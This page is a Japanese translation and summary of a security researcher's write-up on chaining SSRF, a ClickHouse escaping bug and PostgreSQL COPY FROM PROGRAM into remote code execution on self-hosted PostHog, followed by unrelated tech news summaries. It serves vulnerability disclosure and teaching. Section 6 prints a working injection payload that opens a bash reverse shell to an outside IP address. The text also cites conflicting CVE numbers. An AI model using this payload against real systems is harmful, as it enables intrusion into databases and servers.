Inside PostHog: SSRF, ClickHouse SQL Escape and Default Postgres Creds to RCE

2025/12/18 5:50

Inside PostHog: SSRF, ClickHouse SQL Escape and Default Postgres Creds to RCE

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

記事は、PostHog のサーバー側リクエストフォージェリ(SSRF)欠陥を複数段階の攻撃チェーンに変えて、PostgreSQL データベースでリモートコード実行を可能にする方法を説明しています。研究者は 24 時間を費やしてソースレベルで手動調査を行い、その結果、オープンソース性と高速 Docker 配備が特徴の自己ホスト型分析プラットフォームとして PostHog を選択しました。

PostHog の Rust Webhook ハンドラー、

database_schema
、および
slack_incoming_webhook
で三つの SSRF 脆弱性(CVE‑2024‑9710、CVE‑2025‑1522、CVE‑2025‑1521)が特定されました。
test_slack_webhook
エンドポイントは URL を検証しますが、
save
エンドポイントでは検証が行われません;PATCH リクエストでこのチェックを回避し、
localhost
のような内部アドレスを保存できます。その後 Rust Webhook ワーカーがこれらの保存された URL に対して再検証なしに POST を送信し、HTTP リダイレクトを追跡して内部的に POST を GET に変換します。

PostHog の ClickHouse バックエンドはポート 8123 上で認証不要な HTTP API を公開しています。GET 要求は読み取り専用ですが、テーブル関数

postgresql()
はリモート PostgreSQL クエリを許可します。ClickHouse はこの関数内のシングルクォートをバックスラッシュ(
\
)で誤ってエスケープし、テーブル名にエスケープされていない引用符が含まれると SQL インジェクションベクトルを作成します。

COPY 文を閉じ、

;END;
でトランザクションを終了し、ドル引用符で囲まれた PostgreSQL の
COPY FROM PROGRAM
構文を使用したペイロードを構築することで、攻撃者はリモート PostgreSQL サーバー上で任意の OS コマンドを実行できます。完全なエクスプロイトチェーンは次の通りです:
(1) PATCH による Webhook URL 検証回避、
(2) Rust ワーカー内の SSRF、
(3) POST‑to‑GET リダイレクト変換、
(4) ClickHouse SQL インジェクション、
(5)
;END;
COPY FROM PROGRAM
を含むペイロード構造、
(6) 追加エスケープを避けるためのドル引用符、
(7) 静的 Docker 名称/認証情報への依存。

研究者は Python スクリプト(

rust-webhook-ssrf-rce.py
)で脆弱性を実演しました。脚本は認証し、
localhost
を指す悪意ある Webhook を作成してトリガーし、PostgreSQL コンテナ内にリバースシェルを取得します。彼らは 2024‑10‑03 に ZDI 経由で責任ある報告を行い、アドバイザリーが公開され 2025‑02‑25 に更新されました。

自己ホスト型 PostHog ユーザーおよび ClickHouse を分析に利用している企業は、これらの脆弱性をパッチしない場合深刻なリスクに直面します。この事件は Webhook URL の検証、内部 API の保護、およびデータベース関数でのユーザー入力の正しいエスケープの重要性を強調しています。

本文

それは、オフィスでのまた一つの日でした。私たちのチームは内部で別のプラットフォーム分析ソリューションへの移行を検討し、Posthogにより傾いていました。Posthogは市場で最高級の製品のひとつだと考えています。


1. リサーチ期間

どんな製品も真剣に検討する前に、厳格な24時間「リサーチウィンドウ」を設けます。マーケティング資料や機能表は一切見ず、実際の環境で動作を確認し、ソースレベルで詳細に調査します。


2. Posthog – 初期設定

  • インストールは簡単でした:
    docker compose up
    (またはドキュメントにあるワンライナー)で数分以内に完全なインスタンスが動作します。
  • 公式ドキュメントを参照し、全体構成を把握した上で攻撃シナリオを設計するための細かい調整を行いました。

以下は簡略化した図です。
注: Rustで書かれたワーカーとプラグインサービス(「Celery」ボックス)は図に示していませんが、後ほど不可欠になります。


3. SSRF脆弱性

Posthogは数千の外部統合をサポートしているため、Server‑Side Request Forgery(SSRF)のリスクがあります。
主要アプリケーション、ワーカー、プラグインのソースコードをレビューし、以下の3つのSSRF脆弱性を特定しました。

CVEコンポーネント影響
CVE-2024-9710Rust Webhook Handler情報漏洩
CVE-2025-1522database_schema情報漏洩
CVE-2025-1521slack_incoming_webhook情報漏洩

ここでは CVE‑2023‑46746(Posthog Rust Webhook Handler SSRF)に焦点を当てます。

3.1 テストエンドポイント

/api/user/test_slack_webhook/
エンドポイントはURLを検証します:

@require_http_methods(["POST"])
@authenticate_secondarily
def test_slack_webhook(request):
    ...
    if not settings.DEBUG:
        raise_if_user_provided_url_unsafe(webhook)
        session.mount("https://", PublicIPOnlyHttpAdapter())
        session.mount("http://", PublicIPOnlyHttpAdapter())
    response = session.post(webhook, verify=False, json=message)

POST http://localhost/
に対しては
{"error":"invalid webhook URL"}
が返ります。

3.2 セーブエンドポイント

セーブ時には同じチェックが行われません。フロントエンドをバイパスし、直接 PATCH リクエストを送ることで内部アドレス(例:

http://localhost
)を指す webhook URL を永続化できます。これにより Rust ワーカーが後で再検証なしにサーバー側リクエストを行うため、持続的な SSRF プリミティブが生成されます。

3.3 ワーカーのトリガー

Data Management → Actions → New Action で全イベントにマッチする正規表現を設定し、新しいアクションを作成します。任意のイベントが発生すると Rust webhook ワーカーが起動し、設定された URL にリクエストを送信します。


4. Rust Webhook Worker – SSRFプリミティブ

rust/hook-worker/src/worker.rs
send_webhook
関数は再検証なしにアウトバウンドリクエストを実行します:

async fn send_webhook(
    client: reqwest::Client,
    method: &HttpMethod,
    url: &str,
    headers: &collections::HashMap<String, String>,
    body: String,
) -> Result<reqwest::Response, WebhookError> {
    let method: http::Method = method.into();
    let url: reqwest::Url = (url).parse().map_err(WebhookParseError::ParseUrlError)?;
    ...
    client.request(method, url)
          .headers(headers)
          .body(body)
          .send()
          .await

ワーカーは HTTP リダイレクトを追跡するため、POST が内部サービスへの GET にリダイレクトされるケースがあります。


5. ClickHouse – PostgreSQL テーブル関数経由の SQL インジェクション

Posthog の分析バックエンドは ClickHouse です。ポート

8123
で認証不要な HTTP API を公開しています。ClickHouse は
postgresql()
などの Table Functions をサポートし、リモート PostgreSQL データベースから読み込むことができます:

SELECT * FROM ('db:5432','posthog', 'posthog_table','posthog','posthog')

ClickHouse 内部で提供されたテーブル名を使って PostgreSQL クエリを構築します。エスケープロジックが誤ってバックスラッシュを使用しており、シングルクォートの二重化ではないため、Remote PostgreSQL Injection が発生します。

例:単一引用符を注入

http://clickhouse:8123/?query=SELECT * FROM ('db:5432','posthog', 'posthog_table\'','posthog','posthog')

これにより ClickHouse は次のようなクエリを生成します:

COPY (SELECT ... WHERE relname = 'posthog_user\'' AND ...) TO STDOUT

バックスラッシュは PostgreSQL で無視され、任意の SQL を注入できます。


6. リモートコード実行へのエスカレーション

GET は読み取り専用ですので、COPY トランザクションを

;END;
で終了させた後、PostgreSQL の
FROM PROGRAM
機能を利用します:

SELECT * FROM postgresql('db:5432','posthog',
"posthog_use'))+TO+STDOUT;END;
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM $$bash -c 'bash -i >& /dev/tcp/172.31.221.180/4444 0>&1'$$;
SELECT * FROM cmd_exec;
--",'posthog','posthog')#

主なテクニック:

  • $$
    ドル引用符を使ってエスケープの衝突を回避。
  • 元の COPY を
    '))+TO+STDOUT
    で閉じる。
  • トランザクション終了は
    ;END;

このペイロードにより PostgreSQL から攻撃者へリバースシェルが生成されます。


7. 完全な攻撃チェーン

  1. セーブ時の webhook URL バリデーション忘れ
  2. Rust ワーカーに SSRF 保護なし
  3. SSRF リダイレクトで POST → GET 内部変換
  4. ClickHouse PostgreSQL エスケープバグによる SQL インジェクション
  5. COPY トランザクション終了 (
    ;END;
    ) と
    FROM PROGRAM
    注入
  6. ドル引用符でシェルコマンドを安全に埋め込み
  7. 静的 ClickHouse Docker 名と PostgreSQL 認証情報で侵入が容易化

8. 証明コード

python rust-webhook-ssrf-rce.py

このスクリプトは認証、悪意ある webhook URL の保存、アクション作成を行い、最終的にポート

8888
にリバースシェルを受信します。


9. 責任ある開示

Zero Day Initiative (ZDI) の調整とベンダーコミュニケーション・修正追跡のサポートに感謝します。

  • 2024‑10‑03 – ZDI による脆弱性報告
  • 2025‑02‑25 – コーディネーテッド公開アドバイザリ発表
  • 2025‑02‑25 – アドバイザリ更新

このチェーンは、SSRF、入力検証の欠如、微妙なエスケープバグといった見えにくい問題が組み合わさることで、現代の分析スタックで完全なリモートコード実行パスを構築できることを示しています。

同じ日のほかのニュース

一覧に戻る →

2025/12/18 1:42

Gemini 3 Flash: Frontier intelligence built for speed

## Japanese Translation: > **概要:** > Google は、低コストで高速な AI モデル Gemini 3 Flash をリリースしました。これは Flash レベルのレイテンシーでプロ級の推論性能を提供します。Gemini アプリと Search の AI Mode では既にデフォルトエンジンとなり、Gemini 2.5 Flash は世界中で追加料金なしで即座に置き換えられます(Gemini 3 Pro が公開された直後)。ベンチマーク結果では、GPQA Diamond で 90.4 %、Humanity’s Last Exam(ツール無し)で 33.7 %、MMMU Pro で 81.2 %、SWE‑bench Verified で 78 % を獲得し、より大きなフロンティアモデルを上回ります。Gemini 3 Flash は Gemini 2.5 Pro より約30 %少ないトークン数で同等以上の性能を発揮します。価格は入力トークンあたり 0.50 USD、出力トークンあたり 3 USD(音声入力は 1 USD/百万トークン)です。JetBrains、Bridgewater Associates、Figma など多くの企業がこのモデルを活用し、コーディング、データ分析、設計ワークフローの高速化に役立てています。開発者は Gemini API(Google AI Studio)、Antigravity、Gemini CLI、Android Studio、Vertex AI、および Gemini Enterprise を通じて Gemini 3 Flash にアクセスできます。このモデルは Gemini アプリと Search 経由で全ユーザーへ展開されるほか、プレビュー API でも利用可能です。

2025/12/18 6:13

I got hacked: My Hetzner server started mining Monero

## Japanese Translation: ヘツナー VPS 上で Coolify をホストし、Next.js ベースの Umami アナリティクスを含む複数コンテナを実行していた。12 月 7 日に、Umami コンテナ内に Monero マイニングボット(`javae`/`xmrig`)が出現し、CPU スパイクが約 15 倍に増大した。著者はマイナーをコンテナに追跡し、CVE‑2025‑66478 ― Next.js の React Server Components “Flight” プロトコルにおける不安全なデシリアライゼーション(Puppeteer を介さずリモートコード実行が可能)を特定した。HTTP リクエストを巧妙に作成することで RCE が発動し、マイナーがインストールされた。ホストファイルシステムのチェック(`/tmp/.XIN-unix/javae`)ではエスケープは確認できず、コンテナは非 root の `nextjs` ユーザーとして実行され、特権モードやボリュームマウントも無いため、すべての悪意あるプロセスは名前空間内に留まった。 著者は侵害されたコンテナを停止・削除し、CPU 負荷を通常状態へ戻した。UFW をデフォルトで受信トラフィックを拒否するよう設定し、SSH、HTTP、および HTTPS のみ許可することで、オープンな PostgreSQL / RabbitMQ ポートを効果的に遮断した。ヘツナーは 2025‑12‑17 にネットワークスキャン検知後、アブズケース警告を送付し、著者が侵害と対策を説明するとともにチケットはクローズされた。 重要な教訓として、十分に隔離されているコンテナでも基盤フレームワークに脆弱性がある場合は突破可能であり、「Next.js を使っていない」状態が第三者ツールの依存関係によって偽りになるケースがあることを指摘した。この事例は、ファイアウォールルール、非 root ユーザー設定、特権モード無し、監視・ fail2ban の導入、およびタイムリーなパッチ適用という防御層の重要性を強調した。 ## 行動計画 - Umami を廃止する - すべてのコンテナに対してユーザー権限とマウントを監査する - SSH アクセスを強化し、アラートを設定する - セキュリティパッチを定期的に適用し、将来のインシデントを防止する ---

2025/12/18 3:15

How SQLite is tested

## Japanese Translation: > **SQLiteのテストインフラは網羅的で、コードベース全体にわたって完全な分岐カバレッジを実現しています。** > プロジェクトには約155.8 KSLOCのCソースがありますが、テストコードは92 M KSLOC以上――約590倍の量――で、すべての行が実行されることを保証しています。4つの独立したハーネスがカバレッジを提供します: > • **TCL**(27.2 KSLOC、1,390個のスクリプトファイル)で51,445件の異なるケースと数百万回の実行があります; > • **TH3**(1,055.4 KSLOC、約76.9 MBのバイナリ)で50,362件の異なるケース、完全カバレッジに必要な2.4 Mインスタンス、および約248.5 Mテストを実行するソークテストがあります; > • **SQL Logic Test (SLT)** はSQLiteとPostgreSQL、MySQL、MS SQL Server、Oracle 10gを比較し、7.2 Mクエリと1.12 GBのデータで検証します; > • **dbsqlfuzz**(libFuzzerベース)はSQLとデータベースファイルの両方を変異させ、約336個のシードファイルから16コアで1日あたり約500 Mテストを提供します。 > 追加の軽量ハーネスには `speedtest1.c`、`mptester.c`、`threadtest3.c`、`fuzzershell.c`、およびJSONBファズラ `jfuzz` が含まれます。 > 異常テストではメモリ不足、I/O障害、クラッシュ/電源損失、およびカスタムmalloc/VFSフックを使用した複合故障をシミュレートし、各障害後に整合性チェックが実行されます。 > ファズリングの歴史はAFL(2014‑2019)からOSS Fuzz(2016年以降)、その後dbsqlfuzz(2018年末)とjfuzz(2024年1月)へ進化しました。`fuzzcheck` スクリプトは毎回ビルド時に興味深いケースを再実行し、新しいバグが自動的にリグレッションテストとして生成されることを保証します。 > リソースリーク検出はTCL/TH3ハーネスに組み込まれており、メモリリーク、ファイルディスクリプタ枯渇、および不要なスレッドが自動的に監視されます。 > カバレッジは `gcov` を使用して100 %の分岐カバレッジと変異テストで達成され、マクロ(`ALWAYS`、`NEVER`、`testcase`)がMC/DCを強制し、コメント(`/*OPTIMIZATION‑IF‑TRUE/FALSE*/`)は偽陽性を防ぎます。 > 結果として、継続的に拡張される高い信頼性のテストスイートが実現し、ユーザーにSQLiteの安定性への確信を提供し、セキュリティ脆弱性から保護し、オープンソースデータベース品質保証のベンチマークとなります。

Inside PostHog: SSRF, ClickHouse SQL Escape and Default Postgres Creds to RCE | そっか~ニュース